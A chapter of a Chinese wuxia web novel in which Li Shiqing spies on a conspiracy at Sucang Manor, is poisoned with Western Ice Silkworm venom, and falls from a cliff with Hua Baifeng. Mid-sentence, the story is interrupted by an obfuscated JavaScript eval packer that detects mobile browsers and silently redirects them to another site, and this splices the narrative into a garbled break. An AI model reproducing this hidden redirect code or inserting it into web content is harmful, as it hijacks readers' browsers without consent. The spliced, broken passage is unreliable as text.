27.深院窥奇谋 雨夜动杀心

作品:《天下第一之梦回情起

    不过片刻功夫,等李世晴再度返回西山脚下时,原本天晴星朗之夜,竟已是黑云密布,大有山雨欲来之势。


    自昨日大战,古三通和李世晴逃走之后,宿苍山庄风声鹤唳,一方面广派人手,四处搜捕,另一方面严加防守各处要道,再加上此次中原七派所带来的人手,一时间,宿苍山庄俨然铜墙铁壁。


    但这并不能吓退李世晴。太湖西山地势险峻,奇峰断崖不计其数。李世晴借夜色掩护,行船绕至西山背面。只见前方悬崖如削,乱石突兀,偏又被流水打磨光滑无比,黑夜之中仍泛着微微幽光,令人胆寒。李世晴深吸一气,鼓足内力,挥转手中绳索,向上抛去。李世晴内力极深,且因精通暗器,眼力超群,绳索经他抛出,仿佛蛟龙升空,绳尾钢爪分毫不差地勾住崖上古树。李世晴奋力一拉,足尖连踏,施展绝顶轻功,身如飞燕,转瞬间,人已在半山腰。李世晴双手各执一柄钢刀,沿山石缝隙,左右攀爬,捷似山猿,只一炷香的功夫已登上山顶。


    李世晴刚一登顶,黑暗中忽见一柄长剑刺来,原来有宿苍山庄弟子在此值守。这名弟子深夜值守,昏昏欲睡,忽闻崖边异动,起先以为只是飞鸟,后来竟见一道人影蹿了上来,吓得拔剑便刺。李世晴正欲还击,却不料崖边土石松动,脚下一滑,险些跌落,所幸抓住崖边一颗古树,借势旋身,躲过剑招。谁知这名弟子突受惊吓,慌忙出剑,眼下已收不住势,竟直挺挺地跌出悬崖。千钧一发之际,李世晴从古树上扯下一根青藤,扬手一挥,套住这名弟子腰间,奋力一拉,这才将他救回。


    这名弟子险死还生,惊魂未定,手中宝剑早已丢了,他看着宝剑和崖边土石滚落深谷,却听不见半点声响,可知高山险峻,又想着眼前之人竟是从如此险峻之地攀爬而上,足可见其胆量与功力。想到此处,更是吓得瘫软在地,不能动弹。李世晴见这名弟子如此惊恐,于心不忍,出手点中他的睡穴,方才离去。


    经前日闯庄,李世晴已大致知晓宿苍山庄内部地形和值守规律,因此这一次得以巧妙地避开巡查人手,潜入内院,找到了那晚他和花白凤藏身的假山丛。李世晴俯低身子,在黑暗中四处摸索。自那晚以后已过两日,或许不会再有什么线索。可李世晴心中有疑问未解,且他知道事关重大,若无确切把握,实在不敢妄下定论。


    或许是上苍眷顾,就在李世晴即将放弃之时,他忽然感觉脚下踩到一团物什。捡起仔细一看,是一枚小巧的香囊,金线纹绣,精细雅致,一看便是富家女眷所用之物,再凑近鼻子一闻,果然有一股似曾相识的香气。李世晴心中大惊,不曾想脑中一点猜疑竟然成真,感叹幕后之人用计之狠辣,更觉背脊发凉。


    正当李世晴苦苦思索下一步该如何应对之时,忽听得一阵脚步声由远及近,立即躲藏于假山之中。


    李世晴藏于假山之中,听那脚步声匆匆,似有两人,其中一人脚步声极为沉稳,可知是名高手。又从山石缝隙窥看,果然可见一前一后两道人影。前头那人低头弯腰,手执灯笼为后人引路,看衣着似是山庄管家,后头那人背脊挺拔,步履飞快,内息浑厚,烛火映在脸上,李世晴清楚认得此人正是昆仑掌门何凌云。


    中原武林七大门派受邀前来,自然住在宿苍山庄,可眼下已过二更,而何凌云得山庄管家引路,显是受庄主相邀。到底是什么要事能在此时惊动一派掌门?


    李世晴正值思考,二人已绕过湖泊,往院中更深处走去。李世晴好奇心起,紧随其后。


    虽然已在宿苍山庄住了几日,何凌云仍是不禁感叹宿苍山庄占地之广。何凌云受宿苍山庄庄主陈玄松所邀,由管家带路,绕过湖泊,穿过一段昏暗的长廊,终于来到山庄深处一处偏院。相比于庄内其他院落的雕廊画栋、水木清华,这处偏院房屋矮小,景物萧疏,显然荒废许久,若不是此刻主屋中一片熔熔灯火,只怕不会有人注意到庄内还有这么一方天地。管家将何凌云引入主屋,即刻转身退了出去,并将房门掩上。


    就在何凌云跨入房内几乎同一瞬间,一道黑影如落叶般飘落屋顶,没有一丝声响。李世晴揭开一片屋瓦,窥探屋内。


    只见屋内首座之上坐着一位老者,身边有一名年轻男子,衣着考究,不似寻常小厮,倒像富家子弟。而何凌云立于堂中,毕恭毕敬对着老者一拜:


    “深夜惊扰,晚辈拜见陈老庄主!”


    面对何凌云如此恭敬,陈玄松却一改平日谦和有礼,不耐烦地扬了扬手,开口道:


    “坐吧!”


    何凌云受了如此轻待,却不敢发怒,默默在一旁客椅坐下。陈玄松见何凌云如此听话,不再多说,又一扬手示意,他身边的年轻男子走向何凌云,双手捧起茶盏敬向何凌云。何凌云接过茶盏,但随即冷哼一声,将茶盏摔在几上,吓得男子连连退步。


    陈玄松见此情景,讥笑道:


    “都说长兄如父,果然不假!若是何夫人能早嫁几年,有何掌门这样一位姊兄管教,镇南镖局想来不会有如今大难。”


    何凌云受此讥讽,却无力辩驳,心中窝火,只能冷冷开口道:


    “我这妻弟不成气候,劳烦陈老庄主相助,实在惭愧!但作为回报,西域冰蚕早已奉上,庄主所图也已达成,日后两不相扰,其中秘密我想庄主也会继续保守,对吧?”


    “西域冰蚕……”


    李世晴听闻此处,不由得心中一紧。李世晴自小跟随玄机老人学习医术药理,遍识百草百虫,当然知道西域冰蚕。


    相传西域冰蚕产于西域昆仑山上,栖息于雪山古松之间,状若晶雪,其毒至阴至寒,几无解药,且繁衍生长极慢,十年产卵,十年孵化,还需十年方能成虫,此外冰蚕多栖息于雪山冰谷、人迹罕至之地,猎取极其艰难,因此世所罕见,就连李世晴也只在古书典籍之中读到相关记载,不曾见过实物。如今,陈玄松索取西域冰蚕,究竟意图何为?何凌云甘愿奉上如此珍贵之物,难道是有什么把柄被陈玄松攥住?


    再看屋内,陈玄松听出何凌云话中所指,心中不悦,却面上冷笑,道:


    “这是自然!西域冰蚕乃当世奇宝,何掌门大方相赠,这份情我不会忘。只是……”言至于此,陈玄松忽地面色一沉,话锋一转,“老朽听说,世间常言三毒,乃赌、酒、色,这‘赌’字为首,害人不浅!我自会保守秘密,可少当家今日沉沦赌瘾,竟敢监守自盗,向朝廷火耗下手,他日若再复恶习,焉知不会将你我所谋之事泄露?何掌门,若真是如此,该如何是好?”


    “这一点,请陈老庄主放心!我这妻弟再不成器,也知道一个‘死’字,断不会自寻麻烦!日后,我定对他严加管教,再不会容许他生事!”


    “如此最好!何掌门,你要记住,你我已是一体,事到如今,不再仅是镇南镖局或昆仑派一家之事,还关系到我宿苍山庄数十年的基业。你我所谋之事,如若泄露,轻则身败名裂,重则死无葬身之地!”


    陈玄松所说话语之重,语气之冷,叫何凌云不寒而栗,只得连连点头称是。


    再看屋顶,李世晴将这一番对话听得清清楚楚,愈发心惊。李世晴从不相信古三通会胆大妄为,敢劫朝廷火耗,心中早有疑问,如今再听陈玄松与何凌云所言,心中已有了大致猜测。


    恰当此时,虚空之中忽地一片白光乍现,雷电巨响,震烁天际,霎时间夜如白昼,紧接着狂风大作,暴雨倾盆。李世晴吓了一跳,只一瞬间的闪电白光将他的影子投入屋中,随即雨水飘落。屋内之人皆是当世武林高手,自然察觉,陈玄松当即抄起手边茶盏向屋顶掷去,他内力深厚,只一下就将屋顶砸出个大窟窿。


    李世晴及时躲避,转身要逃。他大步连踏,飞身欲逃,却忽见夜空之中数十枚利箭袭来。原来,自昨日大战以后,宿苍山庄庄内守卫加强数倍,而方才陈玄松那一击已惊动周遭守卫弟子,这些守卫弟子值守本就紧张,忽听远处巨响,不明所以,搭箭便射。一时间,箭雨齐发,李世晴始料未及,竟被生生逼回院内。


    只在一瞬之间,主屋大门洞开,一柄长剑向李世晴飞刺而来。李世晴被迫回身应战,此时夜幕漆黑,暴雨如注,李世晴无法看清对战之人模样,只从身形依稀辨认此人是刚才陈玄松身边的年轻男子。这名男子出招极快,剑招巧妙,数剑连出,每一剑蕴藏四五种变化,且一气呵成,以修为而论当属一派翘楚。李世晴急于脱身,左手凌空抓来一片落叶,长指弹出,扰乱剑招,同时右手出掌,朝男子面门猛劈。男子见状,抽步回身,原以为是后撤闪避,却不料他以左脚为轴,右脚回旋,剑锋上引回刺,剑芒直指李世晴心口。


    “回雁剑法!”


    李世晴心中一惊,手上却不怠慢,当即两指钳住剑身,将男子制住。男子内力不及李世晴,一时受制无法脱身,左手数掌连攻。李世晴起初不以为意,却不料这男子不但掌力沉重,掌风更是炎热,其中一掌擦过肩头,竟隐约可见一缕雨水受热蒸腾的雾气。


    “昆仑烈焰掌!”李世晴心中再次惊叹。


    “没用的东西,滚开!”


    何凌云一旁观战,见男子受制不能脱身,怒喝一声,飞身袭来。


    昆仑派轻功不俗,何凌云凌空飞踢直扑李世晴。李世晴见状,一掌击退男子,回身迎战何凌云。何凌云未持武器,仅以一双铁掌对战李世晴。黑暗之中,只见何凌云双掌通红,掌风炙热,远胜刚才的男子,且掌法精妙,招式迅疾,李世晴勉力躲闪,渐渐被逼至树下,又见一掌击来,堪堪躲过,回身再看,只见古树树干之上竟被烙下一道清晰焦黑的五指掌印。


    “好厉害的烈焰掌!”李世晴心中暗叹。


    昆仑烈焰掌乃昆仑派秘传绝学,何凌云身为昆仑派掌门,十数年修炼,功法已臻大成,而且何凌云知道李世晴已窥听他与陈玄松密谋,断然不会放李世晴活着离去,因此每一掌运足十成力气,誓取其性命。李世晴本打算伺机逃走,可昆仑派轻功名满武林,李世晴始终无法摆脱,再加上何凌云步步紧攻,招招狠厉,逼得李世晴毫无喘息之机。


    而一旁观战的陈玄松见李世晴这般狼狈模样,开口嘲讽道:


    “公子只有这点本事吗?这是该说公子学艺不精,还是玄机老人教徒不善!”


    李世晴生性宽和,向来不好与人相争,但他感念师父教养之恩,断不能容许旁人侮辱。更何况玄机老人当年救治太湖疫灾,陈玄松人前口口声声感念恩德,不想背地里竟是这般出言不逊,李世晴不禁怒从心起。加之李世晴虽欲逃离,怎奈何凌云步步紧攻。李世晴心知不能再加拖延,当即出掌反击。


    何、李二人四掌对攻,何凌云初时只觉李世晴掌法绵软无力,势若细波涟漪。何凌云心中不屑,加紧攻势。说来也怪,李世晴所使掌法看似波澜不惊,可无论何凌云由四面八方任何一处攻击,皆无法攻破。昆仑烈焰掌本是至刚至阳的掌法,而李世晴掌力阴柔,回环周身防守,如一弯漩涡,无论任何一处攻击袭来,都会被融为己用,且层层乘叠,一掌犹胜一掌,渐成惊涛骇浪之势。


    “这是什么功夫?”


    “此乃先师所创净波掌法!”


    李世晴高声宣扬,显然是回击陈玄松刚才的嘲讽。


    数十年前,玄机老人游历岭南,曾在一间寺庙的古碑上拓得梵文佛经,甚觉有趣,校译研习之间,逐渐领悟出一套内功心法,唤作“清凉心经”,又以此内功为根基,再创掌法招式,名为“净波掌法”。此套功法源于佛家典籍,故而不重杀伐威猛,且需修练者心静如水,李世晴幼时修习,为求心静,常常置身于深水寒潭之中,故而内力更偏阴柔,却是正好克制昆仑烈焰掌的刚猛火毒,昨日李世晴以清凉心经为花白凤疗伤,不出半日就将花白凤身上的火毒化去,可见奇效。


    李世晴数掌连攻,功力一掌胜过一掌,何凌云应接不暇,稍有疏忽,被逼退半步。就在这半步间隙,李世晴右手凌空一抓,飘落的雨水竟在他手中化为数枚冰凌,作暗器射出。李世晴的暗器功夫出神入化,何凌云只见冰凌由四面八方射来,在空中碰撞回折,难辨方向。何凌云挥掌抵挡,无奈还是漏了一枚,被击中左腿膝弯,登时冷僵,动弹不得。


    李世晴虽占上风,却无意再战,再看一旁陈玄松,仍是负手而立。李世晴来不及细想,正欲飞身离开,却忽感身下受困。原来,刚才被李世晴击败退的年轻男子飞扑上来,一把抱住李世晴腰间。李世晴急欲逃离,扬掌要向男子头顶劈下,却见男子竟似不要命一般,死死抱着不放,李世晴于心不忍,这一掌终是无法劈下。转头又见何凌云双掌再度扑来,李世晴受困无法闪避,只得出掌反击。


    二人四掌相击,何凌云状若癫狂,竟全然不顾走火入魔之险,运足周身功力猛灌双掌。李世晴只觉何凌云掌力沉重炙热,犹如山石压顶,烈火灼烧,再看何凌云满脸通红,眼角、鼻腔竟已淌出鲜血,他知道何凌云是拼着终身修为,要以内力压服。李世晴不明白何凌云为何要这般拼命,只知再过片刻,何凌云必是力尽气绝。李世晴于心不忍,又急于脱困,当即全力反击。


    李世晴虽比何凌云年轻,但他自幼得名师教导,且十数年来不问俗事,一心习武求道,内力远胜何凌云,与古三通、花白龙不相上下。李世晴内力一灌,何凌云顿觉对方掌力犹如滔滔海浪,连绵不绝。何凌云誓不服输,却已到强弩之末,李世晴亦有所察觉,当即气沉丹田,周身功力灌至双掌,伴随一声大喝,将何凌云生生震退。


    何凌云内力耗尽,再受李世晴掌力所击,连连后退,摔倒在地,狂吐鲜血。那名抱住李世晴的男子亦受余波所震,不由得双臂一松,倒飞出去。


    击退二人,李世晴已无阻碍,尽可离去,却不料他竟呆立原地,双脚稍一挪动,竟不听使唤地单膝跪下。


    “公子这是怎么了?”陈玄松一旁嘲笑道。


    李世晴无暇理会陈玄松的嘲讽,此刻他只觉得周身严寒刺骨,犹如置身于万丈冰渊之中,他脸色苍白,手足无力,浑身打颤,一股寒流沿经脉四窜,搅扰肺腑,引得连连咳嗽,他伸手捂着,可一细看,他竟咳出几颗血红的冰粒。


    “为什么……”


    李世晴大感不解,他虽拼了全力击退何凌云,却也不至如此。他想起今早身体不适,原以为是帮花白凤疗伤,强运清凉心经以致体内阴阳失衡,稍加调息便能恢复。他又想起刚才用净波掌法对战昆仑烈焰掌,而净波掌法的内功根基是清凉心经,难道是这门功法运用过当,以致走火入魔?


    不对!李世晴眼下真气受阻,体内寒流四窜,不受控制,无论李世晴如何运功调息都无法化解,显然是寒毒之症。可究竟是什么时候?如何做到?为何他从未察觉?


    “公子想不明白吗?”陈玄松见李世晴这般模样,再度讥笑,“公子刚才不是听到了吗?公子师从玄机老人,博览群书,应该知道西域冰蚕的功效。”


    经此一说,李世晴这才明白,他梳理所有疑点,昆仑烈焰掌、蜡制的暗器、今早开始的莫名寒意以及西域冰蚕……医书记载,西域冰蚕乃上等毒物,其毒性独特,一在至阴至寒,二在毒性初时细微,几乎无法察觉,可一旦中毒者运功,毒性随着真气遍及奇经八脉,便再无解毒之法。


    自昨日逃离之后,李世晴先忙着为花白凤疗伤,后担心古三通等人安危,四下打探消息,无暇顾及身体不适,也难怪未曾察觉中毒。现在想来,他先以清凉心经为花白凤疗伤,后又以净波掌法对战昆仑烈焰掌,这套功法重在阴柔,虽能克制昆仑烈焰掌,但对于西域冰蚕之毒更有推波助澜的功效,这也解释为什么何凌云如此执着使用昆仑烈焰掌与李世晴对战。


    思至于此,李世晴只觉得万念俱灰,可他实在想不明白,于是向陈玄松开口问道:


    “晚辈与宿苍山庄无冤无仇,庄主为何下如此杀手?”


    “哼,无冤无仇?”陈玄松冷笑道,“你辱我女儿清白,哪里算得无冤无仇?”


    陈玄松如此一说,反倒让李世晴进一步肯定心中猜想。


    “是吗?原来这就是你的图谋。没想到我师父当年竟救了你这样一条毒蛇!”


    李世晴竭力控诉,可陈玄松毫不理睬,拔剑刺来。李世晴内力全失,寒毒遍体,寸步难行,只见剑光已至,竟认命地闭上双眼。


    可想象中的疼痛并未到来。黑暗中,只听一声裂空巨响,陈玄松心下一惊,抬头看去,一道紫电迎面劈下。陈玄松撤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320326|198515||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    步躲闪,回剑横削,岂料紫电柔软如蛇,竟绕过剑锋,直取双目。陈玄松被迫仰头闪避,又觉掌风袭来,横剑一封,却还是被逼得连退几步。


    紧接着,一道倩影飘落,来到李世晴身边。


    “你怎么了?怎么弄成这样?”这声音原本清脆如铃,此刻却带着哭腔。


    “你……来了……”李世晴见花白凤双目含泪,神情焦急,心中既是感动又是怜惜,“我没救了……你快走!不用管……”


    “你说什么傻话!”


    未容二人互诉衷肠,陈玄松再度挺剑攻来,花白凤又怒又急,当即挥鞭反击。一时间,只见紫电奔腾,势如狂风暴雨,难以近身。但陈玄松到底不是何凌云,他应敌沉稳,利用院落狭小,巧借树木闪避攻势,花白凤年轻气燥,手中长鞭狂舞,惊得飞花落叶,却仍不能伤陈玄松半分。


    “魔教妖女,不过如此!”


    陈玄松放声嘲讽,花白凤顿感羞辱,又见陈玄松现身于两棵古榕树之间,当即挥鞭打去,哪知不仅却被陈玄松巧妙躲过,长鞭反倒被榕树根须缠住。趁着这一瞬间隙,陈玄松挺剑刺来。花白凤勉强躲闪,却还是被划伤肩头。陈玄松一击不中,回身又是一掌拍来。花白凤抬手格挡,岂料陈玄松掌力之沉,震得她体内气血翻涌,喉中腥甜涌起。


    陈玄松见花白凤脸色苍白,知她昨日被何凌云打伤,尚未痊愈,于是冷笑一声,掌上内劲愈狠。岂料花白凤非但不退,更是反手擒拿他的小臂,紧接着一道黑影从花白凤袖中蹿出,绕着陈玄松手臂蜿蜒攀爬,定睛一看,是一条斑纹黑蛇。


    南教毒技,天下闻名。陈玄松自然不敢小视,当即内力一震,震开花白凤,随即挥剑横削,岂料那黑蛇颇为灵活,竟绕开剑锋,朝他面门嘶咬。陈玄松眼疾手快,一把扣住蛇头,狠狠掐死,摔在地上。


    “妖女!”


    这一回,花白凤没有再理会陈玄松的挑衅咒骂,一心只在李世晴身上。她趁着陈玄松被毒蛇纠缠之际,连忙扶起李世晴,向外飞逃。


    可他们一番打斗早已惊动庄内守卫,院子已被层层包围。花白凤看着四面涌来的人潮,不免心慌,但她鼓起勇气,一面将李世晴护在身后,一面从袖中挥洒出白色粉末。说来也奇,围攻众人一碰粉末,顿时竟手足瘫软。花白凤趁机挥舞长鞭,生生击开一条出路。


    虽然二人突破重围,但追兵仍是源源不断。花白凤只能护着李世晴且战且退,可她不熟地形,刚才悄悄跟随李世晴而来,眼下慌不择路,竟又退回来时悬崖。


    虽然李世晴、花白凤是由这面悬崖而上,可眼下李世晴身中寒毒,力气全无,断然无法原路折返,而花白凤要护着李世晴,也无法再度攀爬悬崖。为难之际,只听一声剑鸣,陈玄松已挺剑追来。花白凤被迫回身应战,李世晴无力相助,只能后退,以免令花白凤掣肘。


    可悬崖方寸之地,李、花二人被渐渐逼至悬崖边上。李世晴手足发软,加之暴雨倾盆,崖边土石松软,稍不留意,竟一脚踩空。花白凤勉强将陈玄松逼退半步,转头却见李世晴跌落悬崖,吓得花容失色,飞身去救,眼看就要将他抓住,却又失之交臂。花白凤眼见李世晴跌落百丈悬崖,顿时头脑空白,竟不带半分犹豫地一同跳了下去。


    “想跑!”


    陈玄松见李世晴、花白凤纷纷跌落悬崖,仍不放过,举剑要向花白凤背后掷去。恰当此时,天降惊雷,劈中悬边一颗古松,霎时间,虚空巨响,火光冲天,陈玄松被吓得连连后退,好不容易强定心神,赶去查看,只见崖底茫茫夜色,没有半点人影。


    再看另一头,太湖西山,峰高百丈,李世晴、花白凤二人双双跌落悬崖,几无生机。可或许是上苍怜悯,又或仰赖花白凤智勇双全,就在千钧一发之际,花白凤一手挥舞长鞭卷缠李世晴腰间,一手抓住崖壁古树树干,这才生生止住二人坠落之势。


    虽是暂得保命,可危机仍在。眼下暴雨如注,狂风不止,李世晴全无力气,而花白凤重伤未愈,刚才大战更是损耗内力,此刻只能将李世晴勉强拉住,却无脱困之法。


    李世晴也明白此刻危局,从牙缝中挤出声音,劝道:


    “放手吧……”


    “闭嘴啊!”


    花白凤一口回绝,手中力道更紧几分,眼神倔强不容李世晴反驳。花白凤急得四下张望,寻找落脚之地。忽然,在黑暗之中传来一阵隆隆声响,似是落石。花白凤急忙循声望去,果然看见不远处崖壁突现一道黑魆魆的石缝。


    江南多雨,西山坐落于太湖之畔,千百年来受流水侵蚀,风雨雕琢,故而险峰兀立,崖陡似削,正如此刻,山崖受暴雨冲刷,土石崩落,竟正巧裂开一道能够勉强容身的岩洞。


    虽得转机,可也有为难之处。这道裂缝相距数丈之远,若是往常,以花白凤的轻功倒也不在话下,可她此刻凌空悬着,还拖着李世晴,再无力飞崖走壁。


    可花白凤感受到古树摇摇欲断,把心一横,开口向李世晴问道:


    “你信不信我?”


    花白凤此刻对于要做之事全无把握,止不住声音颤抖,岂料李世晴仍旧温和一笑:


    “全凭姑娘决定!”


    得李世晴如此信任,花白凤心志更坚,她调息运力,鼓足勇气,抓紧长鞭,前后摆荡。


    李、花二人此刻性命全系于古树,花白凤用长鞭卷缠李世晴的身体前后摆荡,渐渐靠近岩洞,可古树根部土石剥落愈甚。最终,只听“咔嚓”一声,古树断裂,花白凤拼尽力气,挥动长鞭,将李世晴抛向岩洞。


    李世晴被抛向岩洞,他知道花白凤内力所剩无几,这一抛是她拼着性命换李世晴生机。李世晴当然不忍见花白凤为自己牺牲,他轻功卓绝,凌空身形一扭,就在双足落地的一瞬间,反手紧握长鞭,一声大喝,使出十二分力气,竟将花白凤坠落的身躯生生拉了起来。


    花白凤原本不抱生还希望,解开长鞭,阖目待毙,却忽感一道巨力猛拽,身躯瞬时腾空,竟向岩洞飞去。紧接着,只见李世晴张开双臂,将她稳稳抱住。


    花白凤被李世晴接在怀中,虽未摔伤,但石缝狭窄,花白凤的身上、脸上被洞口尖石划出好几道伤痕,可她已全然不顾。黑暗中,花白凤慌乱地摸索着李世晴的脸庞,只觉他的肌肤冰凉,几乎如死人一般,气息弱得难以辨别。


    “你……你怎么样了?说话啊!”花白凤已经急得难掩哭腔。


    李世晴身中冰蚕之毒,起初尚能运功勉强阻挡毒性扩散,可刚才为救花白凤,强运内力,以致体内寒毒随真气流窜,此刻已深入脏腑。李世晴听着花白凤焦急的哭声,心中怜惜已胜寒毒之苦,他本想回握她的手,却是一点力气也使不上,只能软绵绵地搭在她的手上。


    “你不要哭……我中了西域冰蚕之毒……原本就……”


    “就什么啊!你自己中毒了都不着急的吗?你……你何苦为了护我……”


    “不!” 李世晴气若游丝,声音却无比坚定,“习武……本就是为了锄强扶弱……只要……能保护你……只要你没事……我就开心……一点也不后悔……我只是……舍不得……”


    李世晴已挤不出声音,但他所说的每一个字皆是肺腑之言,他凭心中侠义行事,纵使招致死祸,亦坦荡无悔。只是此刻,他听见少女悲痛的哭声,心中涌现万般怜爱与不舍,他想为她拂去眼泪,却怎么也抬不起手来,还是花白凤察觉他的心愿,反握他的手,引导他抚上自己的脸颊。


    他的手是这样的冷,话语却是如此温暖,叫花白凤悲欢杂糅,却也下定一个决心。花白凤当即盘腿坐下,扶起李世晴,双掌按在他背上。


    “你何苦再费心力……我已毒入脏腑……”


    “闭嘴!”


    花白凤生生喝止,强忍哭腔,语气坚定亦是不输李世晴。


    “既然舍不得,就不要死!你听好了,这不是为了还什么救命之恩,我也舍不得……我不许你死!我要你为我活着!”


    花白凤哽咽不止,却一字一句坚定无比。只可惜,李世晴已听不见,他只觉犹如身处一片冰湖之中,起初冰寒刺骨,眼下已全然麻木,意识不断沉沦,就连少女的声音也越来越远……